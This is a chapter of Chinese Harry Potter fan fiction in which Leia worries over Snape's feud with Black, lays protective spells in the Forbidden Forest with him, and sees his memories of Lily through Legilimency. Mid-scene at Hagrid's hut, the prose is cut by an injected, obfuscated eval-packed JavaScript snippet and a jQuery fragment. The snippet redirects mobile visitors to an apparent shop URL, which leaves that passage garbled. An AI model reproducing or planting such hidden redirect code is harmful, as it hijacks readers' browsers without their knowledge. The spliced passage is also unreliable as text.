听完蕾雅的求助,邓布利多并没有表现出任何意外,甚至还因这个事情比他想象中来得快而感到坦然。他递给她一颗草莓味的软糖,安慰她不必过多地担忧,便径直朝地窖办公室走去。 蕾雅站在原地目送着邓布利多的离开,等香甜的草莓味在嘴巴里散尽,她才突兀地想起没来得及收拾的笔记本、文具、书包都还留在魔药学教室。但另一方面,她又有点想回公共休息室问问哈利斯内普和布莱克的事。这么想着,一时之间,竟然陷入了纠结的神思里,人也彷徨不安。 刚刚的发生的一切实在是过于突然,也完全搅乱连日来跟斯内普在一起变得安稳的情绪。 她当然知道布莱克和斯内普的关系奇差。大战那天,布莱克毫不犹豫地要置斯内普于死地,而哈利多次提到斯内普在格里莫广场与布莱克的争吵,更不要说,那天第一次给卢平送狼毒药剂的时候,斯内普和布莱克之间的那种针锋相对的怒气和怨恨,可以让所有的空气与时间都凝固。 这根本就不是简单的“关系奇差”,甚至,她感觉比起用“水与火”来形容两个人,他们更像是“水与油”,不但注定无法相融,只要稍有一点温度的挑拨,便会立即沸腾,爆发,掀起滚滚的浓烟。那么,他们的关系走到这个地步,肯定是糅杂各种各样的因素,不仅有格兰芬多和斯莱特林一贯的敌对,也许,还有其他的私人恩怨——而最重要的,还与年轻的莉莉有关。 莉莉。 这是一个仿佛矗立在千万根线索形成的线团中心的存在。身为格兰芬多的她,肯定与布莱克、卢平都维持着友谊,但同时,她又被斯内普深爱着。他们曾在同一个童年环境长大,一起练习过魔法,莉莉给斯内普带去的温暖与光亮明显到,仅凭摄神取念勾出的小小一隅都满载着。然而,最后的结局却是,莉莉与哈利的父亲结婚,又由于斯内普不小心泄露的预言而死亡。 那么,为什么莉莉和斯内普没有在一起呢?蕾雅隐隐觉察到是有什么事情在他们在学生期间发生过,不仅让斯内普和莉莉走向决裂,可能也间接造成斯内普与布莱克积怨成恨——也许,会不会是因为斯内普决意加入食死徒? 蕾雅的大脑现在就好像是一坨缠绕着线团的浆糊,到处都沉沉甸甸,黏黏糊糊的。她没有办法想明白这是一件什么样的事情,等意识到自己在做什么的时候,她才看清楚晃眼的墨绿色灯罩。她正坐在图书馆索书台前,手里还按着的一叠被她划得乱七八糟的便签纸,羽毛笔似乎已在这些随手写下的信息中游离良久。 事实上,她一直避免深入理清这些过往的故事。 那些沉重的、不堪的,都是斯内普的往昔,无论是甜还是苦,也已然塑造了如今这个她爱的他。她本认为它们都该随着战争的云销雨霁升腾消散,她没有道理、更没有资格抓着这些“往事”不放手。这对她或者斯内普来说,都不是一件好事。 但是—— 蕾雅揉揉酸涩的眼底,低头盯着小纸片上一条条列出来的零碎字句。她的脑海中又浮现出刚才的情景,斯内普最后让她离开的神情满是克制的保护意味。他是在害怕她触及那些尘封的往事,害怕她被卷入那段他无法挽回的痛苦吗?他显然并不知道,她其实了解的、关于莉莉的事,比他预想的要多。 可是,那又为什么,布莱克先生会在看到她在斯内普身后时,那样刻意地提到“莉莉”呢? 是啊,这里面肯定还有更多的。有什么东西,什么联系,什么共同点,是关于她和莉莉的。 而这点,布莱克会注意到,斯内普也一直心知肚明。 蕾雅漫不经心地在淡黄色的纸上勾出“connection /monality”的单词——就在这很突然的一瞬,手中的羽毛笔猛地在最后结尾的字母戳了下去。她整个人都僵住,笔从她的手里掉落的同时,她的另一只手已无意识地按在眼睛上面。有一点潮湿不可抑制地翻涌上来,搅得她连胃都开始疼痛。 ——啊,这是原因啊。 布莱克先生肯定洞察到她跟斯内普之间的事,又或者说,至少察觉到端倪。他肯定以为斯内普是把她当做莉莉的——呃。 那个词噎在喉间,无法说出口,她的全身已经没有了任何的力气。她缓缓地闭上眼,好像什么都不想在乎,什么都不想明白。 幸好,就在蕾雅更进一步坠入自我否定的深渊时,手腕上传来坚定的温热,无比明晰地截断她的思绪: 「你在哪里,现在回来吧」 他到底是不是会远程读心啊? 蕾雅想着用力地吸了吸鼻子,感觉像是攀悬于崖边滑落之际,抓到了迎面抛来的救命绳索。她迅速给他回复: 「图书馆,那我现在回去」 当她重新回到魔药学教室的那一刻,先瞥见的是原封不动地放在那里的她的物品。随后,她的视线落到那扇敞开的办公室门上,一股苦艾和龙蒿的清冽苦味弥漫一室,袅袅的烟雾将那个她牵挂的背影晕染得愈加肃穆凛然。她走近几步,他的办公桌上散落一封带有魔法部标志的信件,凌乱的桌角还放着一杯待客用的茶水,是有谁来过。 在见到他的瞬间,她刚刚那些凌乱纷飞的烦恼就被猛地驱散开,取而代之是平整到如狼毒药水光洁液面的宁静。 “把门锁上。”在注意到她回来的瞬间,斯内普头也没回地说道。 “嗯。”蕾雅乖顺地照做,而后走到他的身边,犹豫地问到:“你还好吗?布莱克教授他……” 斯内普捕捉到了她话音里残留的鼻音,他飞快地撇了一眼,就明了地见到她有点的脸色,眼角还有揉搓后的淡粉色痕迹。他的眉头立刻紧锁,形成一道极为深刻的褶痕,喉咙也在这个时候干涩而发紧:“怎么了?是不是有谁,告诉了你什么事?” “没有。”蕾雅垂下眼睑,坚定地摇摇头,随即靠近些,静静地观察着他手间令人感到安稳的熬药动作,“我找到邓布利多先生之后,就一个人呆在了图书馆。” 斯内普略略松一口气,继而用低沉的声音问:“那为什么哭了?”他忙着将最后一点材料小心而缓慢地潜入坩埚。见她没有立即回答,他又问:“是被我和布莱克吓到了?”然而,他不认为她会如此轻易地为此哭泣。 “我没哭。也不是因为你和布莱克先生。”蕾雅完全没有准备好面对他这个问题的措辞,她推开越来越多掩饰不好的忐忑,逼迫大脑组织起话语。她不想让他知道她察觉的那些事,一点也不想。 斯内普将视线从她的脸上移开,手中依然保持着精准的熬药动作,嗓音中透露出几分疲惫和急切,“我现在必须去魔法部一趟,事情紧急,回来以后,也许还有几个会等着我。” “那这些事先不说了,”蕾雅不自觉地瞄向桌上的信件,立刻读懂他话里的意思。她不等他再说什么,便穿上围裙,顺着他的话伸出手去接过他的工作,轻柔地说:“这里交给我吧。” “谢谢。”斯内普抽回手以后稍稍调节一下火焰,之后了然地勾起唇角。 他注视着她那细致、冷静、熟练的动作,心里已经开始想象着她今后在属于她的世界里大放光彩的模样,不由地为此而生出一点期待。他敛住思绪,继而叮嘱道:“记得看着卢平教授喝下再走。” “我知道的。”她慢而耐心地搅拌着那锅狼毒药剂,声音比刚才还要轻缓。 斯内普看着她的样子,明明窗外浅金的阳光正亲吻着她的脸,他却不禁感到心底有什么沉重的东西堵住一样,隐约有点闷痛。但是他现在肯定没有时间跟她解释,稍微踌躇几秒,他抓起搭在椅背上的黑袍披上肩膀,略显急促地开口:“我还需要你——” 他拉长着音调,话语间袍角飞扬而起,他的魔杖迅捷地指挥着桌上散落的信件和文件井然有序地垒成一叠,语速也同样飞快,“在我找你之前,把心思放在学习上。不要胡思乱想,不要向任何人提起这件事,也不要听任何人对你说的任何看法。” 蕾雅听着他一连串显露出赶时间的声响,为自己的心事感到惭愧,只好让语调听上去更坚强些:“我会的。” “听着,”他重新转回到她身边,伸手将她颈间几缕被围裙带子压住的黑发缓慢地抽出,细致地整理在她的背后。随后,他的手掌缓缓搭在她小巧的脸颊上,带着温柔的暖意,示意她抬头,“等我,我会给你解释。”他的话里甚至透出真挚的恳切,忽而好像又想起什么,补充道:“如果有什么紧急的事,就传信给我。” 蕾雅端详着那双疲惫的黑眸,里面有许多渗透出来的关心。她的心也在这刻变得柔软,很快地以同样的情绪回答他:“你不必向我解释的,西弗勒斯,你已经很忙了,不要再把时间——” “不,唯独这事,很有必要。”她没想到斯内普会如此执着这件事。 斯内普静静地凝视着她被光线镀上一层鎏金色的眼睫毛,指尖探出,缓缓掠过她的眼尾,仿佛是无言的安抚般。片刻,看她双眼朦胧地点着头,他才缓慢地抽回手。 她到底是爱上了一个内心多么熟虑且体贴的人啊?她确信就在这一毫秒,她对他的爱意和感激又增长一些。 “我等你,但请你别过多为这些事烦心,好吗?”她心疼地说着,感觉连坩埚中蒸腾的雾气越发湿润而模糊。 “放心。”斯内普平静地应她,转身走到壁炉旁,抓起一把飞路粉撒入炉中,绿色的烈火即刻腾起,他将头探进火焰里,没多少感情地唤道:“莱姆斯,请告诉我,你的房间只有你一个人。” 过了一阵,卢平的声音从另一头响起,“噢?西弗勒斯?”他听着像是有些感冒,闷闷的,语调倒是略带幽默:“如果泰徳算半个的话,那就是一个半。” “好吧。我需要外出,所以大概半个小时后,你的药水会由莱恩哈特从壁炉送过去。”他冰冷凌厉的语调压满了不可拒绝的命令感,“一件事。答应我,直至她离开为止,你都不会让布莱克进入你的房间。他正像条疯狗一样,要跟她提我们的那些往事。” “往事?!”卢平显得有点吃惊,“为什么西里斯要——” “莱姆斯,答应我。”斯内普没有给卢平任何思考的容豫。 “我向你保证。”卢平不明所以,但依然诚恳温和地回答。 蕾雅按他安排的那样完成了药剂。当她将魔药送到卢平手上时,她察觉到卢平脸上的欲言又止以及流露出的好奇。但是,他并没有说什么,接过药剂顺从地喝下,最后只是随口问几句她的复习情况,就放她离开了。 回到魔药学教室,她收拾好书本和笔记,又去了图书馆,沉浸在复习和书籍里度过整个傍晚。连晚饭也是匆匆赶在最后一刻去吃的。等到霍格沃茨都沉浸在满月的辉光下,银色的轻纱一路飘荡到她的枕头上面,她钻进被窝抱紧小熊,让身体没入银白月色,才感觉整个人彻底放松下来。 斯内普好像也在这个时候才结束一天的工作,他的消息浮现在手环上: 「睡了吗?」他问她。 「刚躺下,你呢?」她就着窗外明亮柔美的辉光回复他。 「刚忙完,本以为还能更早一点」他的话就跟他今天的举动一样让她沁满温暖。 她想象着斯内普此刻面容疲倦地靠在办公椅上给她发消息的场景,半是心疼半是愉悦地抿起唇。 「那今天就请什么都不要想地去休息吧」她笑着回到。 「嗯,可是」正如蕾雅所说的,此时靠在校长室办公椅上的斯内普一手按着太阳穴,低垂着眼眸看手环上的字句。 「可是?」蕾雅接过话。 「不,没什么」他可不会告诉她,他本想说,他想她。没等她的回复,立刻又补了一句,「早点睡吧,晚安」。 「你也早点,晚安」蕾雅读着句子,知道他每次这样掐断话语都是在藏起情绪。 她不会拆穿他的,也不会告诉他,这是她的小小秘密。 …… 第二天,蕾雅依然按照昨天的办法尽量避开大多数人,幸运的是她今天没有黑魔法防御课。 所有的课结束后,她第一次跟着纳威去了温室帮忙。斯普劳特教授早已听斯内普提过她的情况,但见到这位格兰芬多学生的时候,她还是没忍住提起刚来霍格沃茨当学徒助教那年,对雷格纳糟糕的草药学成绩的印象。这些事一下就让蕾雅和纳威笑了起来,整个温室都盈满了轻松欢快的气氛,就连咬人甘蓝们都跟着摇头晃脑。 接着,斯普劳特教授十分耐心地为蕾雅准备了符合她现在水平的工作,更是细致地开始讲解考试的重点和接下来两个多月对她的安排。蕾雅没想到能得到如此耐心的指导,感激得说不出话,只好连连点头、加倍用心地投入到对植物们的照顾里面。 吃完晚饭回到公共休息室,蕾雅在公告栏前看到一张即将举行魁地奇友谊赛的通知,七月初会举办第一场,抽签决定的是格兰芬多对赫奇帕奇。她一直对魁地奇没有多大的兴趣,只有少数几次关键赛事会被赫敏抓着去看。 她不以为然地歪了歪脑袋,正要转身回去寝室,纳威从楼上匆匆跑下来,迫不及待地塞给她一本像剪贴簿般订成的笔记。她随手摊开这本厚重如书的笔记本,惊讶地发现里面是纳威这几年整理的所有草药学知识。里面不仅有课堂笔记、书籍摘抄,还有他重新描绘过的一幅幅魔法植物插图。 蕾雅翻过一页,用指尖索引着句子,每一幅插图的旁边都细心地记录了植物的名称、属性、入药方法和栽培方式,有些甚至上了色,关键处用红笔圈出,简直像一本精心制作的植物百科。 “……”蕾雅不知道是感动还是震撼多一点,她张了张嘴,忙不迭地将这本比实际重量要沉重得多的资料放回纳威手里,踌躇着说:“这……我不能收下。” “请收下吧,”纳威微笑着指了指脑袋:“我已经记在这里了,留给你用才有意义。” “纳威,等等我。”蕾雅跑回寝室,翻出她五六年级斯内普给她课后辅导做下的魔药学笔记,和纳威做了交换,才好意思安心收下他的礼物。 这件事发生不久,斯内普就按照他昨天答应的那样来找她,奇怪的是,他让她去海格的小屋。 这是她第一次来到这间看起来形状古怪的小屋。刚敲过门,海格就满脸笑容地迎接道:“看来你就是今晚帮斯内普校长忙的好孩子?快进来吧!苹果派刚出炉,香得很!” “呃?帮忙?”蕾雅迷茫地眨眨眼,不解地看他,脸上的错愕和刚才收到纳威的笔记本没什么区别。 “快进来,蕾雅。”邓布利多的问候温和地从海格身后传出,伴随着一股香甜可口的糕点味道。 还没踩上台阶,海格的腿边便挤出一个黑黢黢的身影,猛然朝她扑来,差点让她惊叫出声。 “哎,牙牙,你冷静点!”海格慌忙拦住那条扑向蕾雅的大狗,侧开身子将它推开。 透过半敞的门,蕾雅看到麦格和斯内普都在里面,几个人挤在海格的小桌旁,桌上摆满了食物、水杯、茶壶,还有一瓶金黄的酒液。察觉到她的到来,斯内普稍稍压了压嘴角,看了她一眼。 “打扰您了,海格先生。”蕾雅决定不再多想,反正礼貌地应对总没错。 “快来。”海格把她安置在斯内普身边的空位上,斯内普面无表情地将手边的一个水杯挪给她。 “谢谢。”她用手背碰了碰脸,害怕被麦格和邓布利多看到那些不小心透出的红色。 她端正地坐下来,放在狭窄桌上的手肘却不小心碰到斯内普的。两个人怔愣一瞬,同时不动声色地别开脸,那只黝黑的大狗在这个时候兴奋地挪到蕾雅脚边,一脸期待地望着她,湿漉漉的鼻子泛着微光,好像在等着她的抚摸。 “它好乖。”蕾雅拍了拍它圆厚的脑袋,牙牙的毛比外公的肉桂卷要硬一点。收到她友好的表示以后,牙牙就在她的脚边乖巧地趴伏下来,丝毫没有在意蕾雅身后那位黑发巫师略有不满的眼色。 “噢,牙牙它喜欢你。”海格笑得见牙不见眼,像是得到了什么意外的惊喜。 “我外公也养狗,也很黏我。”蕾雅边打量着房间边呢喃道。 这间房子简直太不可思议。天花板上垂落着各种火腿、鸟笼、打猎的胜利品,绳索和陷阱,乱而有序。墙上悬着海格平日使用的工具还有一把粗犷的猎// 弩。有一个烧得火亮的铜壶放在壁炉边,海格就站在那里,戴起厚重的手套把烤得恰好的苹果派搬出,放在桌子的中间,本就不算宽敞的房间被浓浓的果香填满。 “原来如此!怪不得牙牙那么喜欢你。”海格兴致勃勃地接过她的话,“是养了什么狗?” “外公是个麻瓜。”蕾雅笑着解释,继而说:“养的是金毛寻回犬,在希腊。” “我知道这种狗!”海格笑呵呵地一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14144831|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切苹果派一边说。他盛出一盘,放在邓布利多的面前,“温顺友善的好品种呢。” “这苹果派真香,海格,你的手艺越发精湛了。”邓布利多眯起眼睛赞叹道,左手已经拿起银叉迫不及待地品尝。刚叉起一块,他微笑着转向蕾雅说:“我猜西弗勒斯还没来得及告诉你,我们刚开完会。他提议加强禁林的防范,准备今晚布置一些防御性的咒语。” 麦格接过海格递来的苹果派,不比邓布利多逊色多少的慈爱目光落在蕾雅身上:“我想到你不是希望将来能在黑魔法防御课上做助教吗?正好可以借这个机会跟随西弗勒斯学习这些复杂的防御魔咒。” “原来是这样,谢谢给我这个机会,我非常乐意跟斯内普校长学习。”蕾雅有礼地向麦格和邓布利多答道。在两人欣慰的神色里,她瞥向斯内普,看见他的脸色如常冷淡,便故作镇定地拿起水杯抿了一口。 是馥郁的桂花红茶,味道很熟悉,大概是斯内普带来的。她安静地品着茶水,隐隐觉得麦格和邓布利多似乎都知道了他们的事,尤其是斯内普身上比平时还要阴郁到一言不发的气场,更让她坚信肯定就是这样。 “正好,我今天刚做了苹果派,就招呼你们都来,先吃了再去禁林。”海格说着,又分好一块苹果派放在斯内普的面前,后者却淡淡地把盘子推向蕾雅,皱着眉说:“我不要太多。” 海格咧开笑容,嗓音洪亮又带着几分憨厚:“放心吧,校长,保证不会让您撑坏的。” “趁热吃,趁热吃。”邓布利多抬了抬手,示意蕾雅快点开动苹果派,“不要辜负海格的一番好意。” 餐桌上的话题依然是围绕蕾雅和格兰芬多小狮子们的复习情况,还有今晚禁林的任务。斯内普几乎全程沉默着,只是偶尔点头,蕾雅则不时地微笑回应。终于,他们在邓布利多和麦格的欢笑和意味深长的眼神里吃完最后一块苹果派。 两人起身准备告别前往禁林,桌边的大狗牙牙也摇晃着身子站了起来。 “牙牙在问你们要不要带上它。”海格解释道,他过分热衷的目光在斯内普和蕾雅之间游移,那双深藏在浓眉下的黑眼睛满是期待,他拍了拍牙牙的头,对他们说道:“它总是喜欢跟人一同外出,尤其是那些它喜欢的人。” 斯内普注视了牙牙一会,眉头微微一挑,最终平淡地说:“今天就不用了。” 海格虽有些失望,但他还是理解地点了点头,露出宽慰的笑:“那下次吧,牙牙。”他转向蕾雅,“蕾雅,有空的话随时可以来小屋,牙牙会很高兴见到你的。” 也没有要海格递过来的提灯,他们就进入了夜晚的禁林。初夏微风拂面,繁茂的枝叶遮盖住头顶的天幕星月,温度也随之降了下来。空气里弥漫的是满月后微凉的潮湿,透出一股浓郁的朽木和草本的气息,不时能闻到芬芳的松香。 这几日的雨水让泥土也湿润而滑腻,还会有盘缠在一起的粗壮树根和几个凹陷的隐坑,不由地让蕾雅只顾着低头绷紧脚步。在幽黑的林影中谨慎地穿行过一段路以后,四周寂静得仿佛只有彼此的呼吸声相伴,偶尔才有几缕细微树叶摩擦的沙沙声打破这深沉的静默,似是某些神秘的小生灵在林间悄然活动。 斯内普用眼角余光扫过她晃动的马尾,长长地叹了一口气,话音里有半分无奈:“抱歉,我没想到会是这样。” 他说完便观察了一下四周,确保身边什么也没有以后,他在黑暗里找到她的手。刚刚握住,却发现她的指尖竟然是冰凉的。没有任何迟疑,斯内普给她砸了一个温暖咒,随后解开身上的黑袍拢在她的身上,才重新握住她,低声说:“忘记叫你多穿一件衣服了。” “西弗勒斯,你已经够忙的了。”蕾雅轻轻地说着,感受到留在黑袍上的他的气味和温度,不由自主地握紧他的手,往他靠近了一点的同时也为他加上温暖咒,“我还看到了晚上贴出来的魁地奇公告。” “嗯,下午教授们开会时提到的。还说最好在禁林周围加一些防护。”斯内普捏了捏她回暖过来的手指,略带遗憾地接着说:“我本想找个好一些的时间,却没想到,就是现在和你来这里,也是为了工作。” 蕾雅微微一笑,“我又不介意跟你一起工作,尤其是在苹果派这么好吃的晚上。”她借着微弱的星光注视着他侧脸的轮廓,眼神中含着柔和和眷恋,“而且,这让我想起之前和你一起采月露花的那天。我们等下还可以去那里吗?” 斯内普低低地哼了一声,“如果你想的话。让我们快点把魔咒布置完,我不想你又在宵禁后回去。” 黑发男巫领着她深入树林,沿着他事先在地图上勾出的防护线,在几处地方布置下隐秘防护和检测的咒语。他仔细地教会她怎么施展一种能感应非友善生物的咒语,这些咒语一旦被触发,会令校长桌上的小钟警示响起。 在布置到第三处场所时,他已经干脆地将所有的施咒任务都交给她,再次暗暗深信这家伙的天赋或许比他想象中的还要多一点。 一切都十分顺利,只是禁林中偶尔窜出的小生物总是会让她不得不按捺住惊吓,每次如此,斯内普都会打趣嘲笑她。 “之前采月露花时,可没见你如此胆小。”斯内普的语气带着几分揶揄,魔杖在手中轻轻一挥,拨开那些长到腰际的蕨类和灌木。 “要听实话吗,我的先生?”蕾雅挑高语调,模仿着他那一贯的抑扬顿挫。 “请讲。” “这是因为当时的您比其他的东西要吓人多了。”蕾雅毫不留情地指出,然后更是加上论据:“您知道吗,对于纳威来说,您可是比伏地魔还要可怕的存在呢。” 斯内普伸手扶在她的腰间,眼神中透出一丝极轻的笑意:“哦,是吗?我倒不见得。”他嘲讽着说,“先不论隆巴顿怎么想。如果我这么可怕,你为什么还那样毫无忌惮地接近我?” “因为我无可救药地喜欢你呀。”话一出口,蕾雅忍不住羞赧地笑开,险些因此而踩到脚下的一小丛滑腻的苔藓,幸而斯内普及时按住她。 穿过过于繁密的植被,一抹跃动的暖黄色微光点燃了黑夜,随后烧成一整片更多的、簇拥在一起的光点,是漫天的萤火虫们在飞舞。他们已经回到了熟悉的湖边,沿着湖岸线,淡银色的月露花似乎比上次更茂密,苍劲的古树还是记忆里的那样,不曾被时间侵蚀。 林中的这片湖依旧沉淀了浩渺的星宿,就好像无边的银河坠入地球表面,在这里,天河与陆地交汇,化作这汪梦幻神秘的水光。有几只月痴兽翻着肚皮伏在水边,在影影绰绰的光晕环绕下,像是宇宙间宁静安然的小精灵。 天穹、湖畔、月露花、古树、萤火虫、月痴兽,还有他,都还在。 蕾雅凝望着眼前的所有,鼻腔被月露花隐约的清香充斥着,莫名地感叹起来,“难以置信——” “难以置信?”斯内普找到一块稍微平整的石头,拉着她坐下,心甘情愿地和她一起成为这夜色里的一部分。 “难以置信能再次和你来到这里。”蕾雅诚实地表露心声,她把头靠在他的肩膀上,找到一个舒适的角度,继续说:“更难以置信,你竟会回应我的感情。” 是啊。他也没想到。 “你难以置信的事,或许比你想象得多,要试试吗?”他趁机顺着这个话题说下去。 “试试?”蕾雅困惑地看向他。 “摄神取念我。”斯内普轻声道,手臂慢慢地环住她。他偏过头凝视着那双被湖光涂上一层迷蒙的绿眸,低沉优雅的嗓音不自觉产生苦涩的嘶哑,但又满载坦白自我的迫切。 他的脸隐没在月光没有透得过的地方,轮廓明明灭灭、模糊不清。 但蕾雅还是在他的言语间听出他的意图,他想要让她看见那些从前的记忆。 “你确定吗?”她把下巴搁在他的肩膀上,探出手去轻抚他的黑发,指尖顺着面颊滑到唇边,触到那点新长出的胡髭。她为他的男人气息浅浅地牵出淡笑,用一种认真而柔和的口吻强调:“西弗勒斯,你没有义务向我坦白任何过去。无论那是什么,都不会改变你在我心中的样子。” 斯内普顿了顿,略微收紧手臂,好像想借此表达他的决心。他在她耳边压低声音说:“蕾雅,我想让你看见。” 她又静默着观察他一阵,才抽出银椴木魔杖,握在手心,却不着急施咒,而是探出身在他唇角印上一个轻吻,“好,我会拿我的秘密来跟你交换。” “你还有什么秘密是没被我看到过的?”他故意低笑着反问,话语里暗示着那年夏天对她大脑封闭术的训练。 “或许比你想象得多。”她对上他在黑夜里愈加深沉的瞳仁,念动咒语:“Legilimens(摄神取念)——” 69.流星 她先是看到无数个自己。 在课堂上,在礼堂长桌前,在他的办公室里,坩埚旁边、她家客厅、庭院、沙发、钢琴、餐桌、在——每一个他身边的,或者不是他身边的场所,低头沉思,认真工作,亦或是,执拗地一再出现在他的视野。 她怔愣一瞬,才发现原来在他眼里,她一直是一头不知疲倦的小兽,一点一点撬开他本不应脆弱的防线,一次又一次地闯入他的世界。最可怕的是,他并不清楚这份爱究竟是什么时候累积起来的。等察觉时,早已在不知不觉中看见那么多的她,就像瓶里不断堆积的许愿星,慢慢地一颗接一颗,最后累积成一盏小灯。 那灯火在这片宛如他心海的空间绽放出明灿的光,温暖而又澄澈。蕾雅仔细环视四周,在这大片淬开的辉耀里发现了一个始终背光而昏暗的角落。她清楚这是他的暗示,便朝那个角落踱步而去。 当她穿过这个角落,所有的光团猛地坍缩,重新凝聚成一扇复古红色的门。她即刻认出那是霍格沃茨特快列车的风格,随着这认知,脚下也清晰传来轻微的摇晃感。她迟疑片刻,伸手拧开黄铜雕花的门把手,眼前出现的是列车的盥洗室。 一个黑发男孩矗立在镜子面前。他有一个高挺的鼻子和过长的头发,他穿着崭新的霍格沃茨校服,正一遍又一遍地微调好不容易系好的黑色领带。第十次确认它真的没有歪斜后,他又低头从口袋里取出一根同样漆黑的魔杖,很仔细地抚摸着,仿佛握着什么珍爱至极的宝物。良久,他再一次检查了仪表无误,郑重地将魔杖放回口袋,拉开通往车厢的门走出去,脸上写满了对进入人生新阶段的期待。 列车发出一声尖锐的蒸汽鸣笛,蕾雅捂住耳朵,快步跟着这个看起来比其他新生更显老练的小家伙,匆匆来到其中一个包厢。包厢里有几个吵吵闹闹的男孩,她一眼就认出布莱克,而另一位乌发男孩长得几乎和哈利一模一样,不用多加猜测,肯定是詹姆斯·波特。 小男孩径直走过他们,走到窗边坐下。就在窗外那大片金色麦田的映衬下,蕾雅又看到了那个拥有深红发的女孩,莉莉。莉莉脸上写满不悦,甚至还没换上校服,她对男孩说:“我不想跟你说话。”男孩似乎并未在意她的冷淡,两人拌嘴几句后,他依旧兴奋地对她说:“我们出发去霍格沃茨了!你最好进斯莱特林。” “谁想去斯莱特林?”波特和布莱克哈哈大笑,发出嘲讽的嘘声,“我们才不愿呆在那呢。” 莉莉气得脸颊泛红,用嫌恶的眼神扫了波特和布莱克一眼,转头对黑发男孩说:“走吧,西弗勒斯,我们另外找一个包厢。”就在男孩和莉莉转身离开的瞬间,不知是布莱克还是波特,用令人不快的嗓音喊道:“回见,鼻涕精!” ——怎么会呢? 蕾雅瞪大眼睛,盯着波特和布莱克稚嫩却无所顾忌的笑脸,难以置信他们竟然会这样肆无忌惮地嘲弄他人。她的惊愕还没停止下来,列车呼啸着驶入山洞,周围瞬间被暗黑吞没。 当重新亮起来的时候,她坐在格兰芬多的长桌旁,身后站着的是那个一脸忐忑的黑发男孩,正紧张地望着前方。她按照他的视线看去,看到戴着分院帽的莉莉——“格兰芬多!”随着这声高喊,男孩低低地叹息一声,听起来十分伤心,蜡黄的脸上显现出难掩的失落。 她跟着他穿过一条又一条霍格沃茨的走廊,目睹他在许多个日升月落中,与莉莉和书本相伴的岁月。男孩的孤独是显而易见的,除了莉莉的身边以外,他最喜欢就是一个人待在黑湖旁边的山毛榉树下。渐渐地,他来得更多,因为莉莉有了更多的朋友,不再总在他的身边。而他还有别的麻烦要避开。 从入学开始,波特、布莱克,还有蕾雅认出来是卢平和彼得·佩蒂格鲁的四人组越来越频繁地找他的茬。他们叫他“鼻涕精”,并用各种危险的魔咒一次次埋伏和袭击他。有一个晚上,他们将他引诱至尖叫棚屋,变成狼人的卢平差点要了他的命,要不是波特在最后一刻良心未泯地冲出来。 这个恶作剧实在太过分,蕾雅本以为这件事至少会获得公正的处理。但是,邓布利多对波特和布莱克只给予象征性的惩戒,理由是“波特及时阻止了灾难,避免了更严重的后果”。而实际上,她猜测邓布利多是为了防止卢平的身份被公开,也是不想牵扯到背后更多知情不报的人。 为了这些“更多人”,邓布利多选择牺牲了“少数的他”。 到这里,她觉察到他在霍格沃茨的境地。他没有可靠的父母,没有偏袒他的教授,他没有人可以依从,面对欺凌和不公正,他只能学会自己成为自己的保护。 记忆的片段还在继续,他和莉莉的矛盾也越来越多。几天后,在与莉莉的一次争吵中,她冷冷地对他说:“我不喜欢你的那些朋友”,“你到底为什么对他们这么上心?明明是詹姆斯·波特救了你,你太忘恩负义了。” 他试图辩解,试图告诉莉莉“波特不是她想象的那样”,“卢平是个差点伤到我的狼人”,“布莱克想让我死”,“我不愿让你跟波特在一起”。他张了张嘴,又无力地闭上,一句话也没说出来。因为他曾向邓布利多保证,那晚发生的一切将随风消散。而面对明亮如朝日的莉莉,他甚至不敢直视心中的感情。 莉莉终究是离他而去,渐行渐远。 他开始全身心投入学习,日日夜夜地钻研着魔咒和魔药,渐渐与斯莱特林的同学们走得越来越近。卢修斯·马尔福赏识他的天赋,他接触并逐渐掌握更强大的黑魔法,甚至创造出独特的魔咒。如他所愿,他变得更强,强大到可以独自应对那四个人的挑衅。 他们恶意报复他,把他倒挂起来,在他最喜欢的那棵山毛榉树下当众羞辱。他本是自尊心那么强的一个人,理所当然地恼羞成怒,连前来为他辩护的莉莉都无法让他冷静。愤怒之下,他对莉莉说出了无法挽回、无法磨灭、也无法原谅的话:“泥巴种。” 过后的好多天,他一直尝试找她道歉,可是她说:“这么多年来,我一直找借口原谅你,我不能再装下去了。你选择了你的路,我选择了我的。你管我这类出身的人都叫泥巴种,西弗勒斯,我又有什么不同呢?” 他又一次张了张嘴,却最终无力地闭上。 他离开了他唯一的光。 从此,他确实坚决地选择了自己的路。在那个所有人都被迫站队的年代,他追随伏地魔,为之奔波效命,收集所有黑魔王需要的情报。直到伏地魔做的事愈发疯狂,直到预言泄露,直到他将目标对准莉莉一家。 在那树影婆娑的荒凉山顶上,蕾雅陪伴他一同矗立在那里。他大概在等谁,从下午开始就像一尊雕像般一动不动。等天入了夜,树林的轮廓更加阴森,一声幻影移形的爆裂声割断空气。 他扑通跪倒,膝盖重重地砸向冰冷的地面,卑微得像个毫无尊严的奴仆,向满脸冷漠和憎恶的邓布利多苦苦哀求,恳请他救下莉莉。他脸色苍白,嘴唇因在寒风中等待太久而皲裂,但他的话音从未如此绝望而有力。 “保证他们的安全,你要我做什么都行。” 那是十七年前,他唯一的乞求。 但是,画面迅速溶解,她马上就看见莉莉死亡以后他的彻底崩溃。在熟悉的校长室里,一具空壳般的男人瘫倒在校长室的椅子上,他在最后一缕灵魂出走之前留下宛若遗言的自语:“我希望死的人,是我。” 四周瞬间被殷红如墨的液体浸透,寒凉而阴沉、扼喉般的窒息感袭来。大幅的片段掠过,纷杂反复,随后交叠在一起,是这十七年里他周旋在伏地魔和邓布利多之间、如履薄冰的模样。他本以为自己已如行尸走肉,却屡屡为莉莉的死去而恸哭,为任务的失败而愧疚,为无法施救人们而怜悯,为在黑夜里的辗转反侧而自责。 他一次次告诫那个名为西弗勒斯·斯内普的自己:骄傲的、感情用事的傻瓜,不会控制自己的情绪,沉溺在悲伤的回忆,让自己那么容易受刺激,但软弱的人在他们面前不堪一击!(1) 一次又一次,他在撕裂和崩溃中重塑自我,最终学会完美地掐灭一切情感。 他是罪人,本就应该如此。 蕾雅已经不忍心看下去。 